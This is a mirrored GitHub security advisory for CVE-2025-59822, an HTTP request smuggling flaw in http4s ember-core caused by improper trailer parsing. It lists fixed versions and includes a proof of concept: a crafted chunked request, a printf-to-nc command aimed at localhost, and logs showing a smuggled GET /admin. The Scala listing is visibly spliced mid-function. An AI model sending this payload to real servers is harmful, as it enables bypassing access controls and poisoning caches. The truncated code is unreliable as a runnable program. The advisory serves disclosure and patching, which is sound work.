GitHub Advisoryadvisory · Maven
GHSA-wcwh-7gfw-5wrr Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section
MEDIUM
Official page ↗
- Aliases
- CVE-2025-59822
- Ecosystem
- Maven
- Packages
- org.http4s:http4s-ember-core_2.12, org.http4s:http4s-ember-core_2.13, org.http4s:http4s-ember-core_3
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-444
- Reviewed
- 2025-09-23
Affected packages
• Maven org.http4s:http4s-ember-core_2.12: < 0.23.31 → fixed in 0.23.31
• Maven org.http4s:http4s-ember-core_2.13: < 0.23.31 → fixed in 0.23.31
• Maven org.http4s:http4s-ember-core_3: < 0.23.31 → fixed in 0.23.31
• Maven org.http4s:http4s-ember-core_2.13: >= 1.0.0-M1, < 1.0.0-M45 → fixed in 1.0.0-M45
• Maven org.http4s:http4s-ember-core_3: >= 1.0.0-M1, < 1.0.0-M45 → fixed in 1.0.0-M45
Description
Summary
http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.
This vulnerability could enable attackers to:
• Bypass front-end servers security controls
• Launch targeted attacks against active users
• Poison web caches
Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.
Details
The HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).
This method parses the trailer section using `Parser.parse`, where the issue originates.
`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that does not include the colon character, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf && (idx > 0 && message(idx - 1) == cr))` that sets `complete=true` even if no `\r\n\r\n` is found.
```scala
if (current == colon) {
state = true // set state to check for header value
name = new String(message, start, idx - start) // extract name string
start = idx + 1 // advance past colon for next start
// TODO: This if clause may not be necessary since the header value parser trims
if (message.size > idx + 1 && message(idx + 1) == space) {
start += 1 // if colon is followed by space advance again
idx += 1 // double advance index here to skip the space
}
// double CRLF condition - Termination of headers
} else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { //
for {
bodyStr
s"${header.name.toString.toLowerCase}: ${header.value}"
}.mkString("\n")
responseText = s"""$method $uri $version
$headers
$bodyStr
"""
result echoService).orNotFound
)
override def run(args: List[String]): IO[ExitCode] = {
EmberServerBuilder
.default[IO]
.withHost(ipv4"0.0.0.0")
.withPort(port"8080")
.withHttpApp(httpApp)
.build
.use { server =>
IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never
}
.as(ExitCode.Success)
}
}
```
`build.sbt`
```
ThisBuild / scalaVersion := "2.13.15"
val http4sVersion = "0.23.30"
lazy val root = (project in file("."))
.settings(
name := "http4s-echo-server",
libraryDependencies ++= Seq(
"org.http4s" %% "http4s-ember-server" % http4sVersion,
"org.http4s" %% "http4s-dsl" % http4sVersion,
"org.http4s" %% "http4s-circe" % http4sVersion,
"ch.qos.logback" % "logback-classic" % "1.4.11",
"org.typelevel" %% "log4cats-slf4j" % "2.6.0",
)
)
```
Send the following request:
```http
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
2
aa
0
Test: smuggling
a
GET /admin HTTP/1.1
Host: localhost
```
You can do that with the following command:
`printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080`
You will see that the request is interpreted as two separate requests
```
16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa"
16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)
```
Related
Alias · CVE (1)
- CVE-2025-59822 Http4s is a Scala interface for HTTP services. vulnerability
Weakness · CWE (1)
- CWE-444 Inconsistent Interpretation of HTTP Requests weakness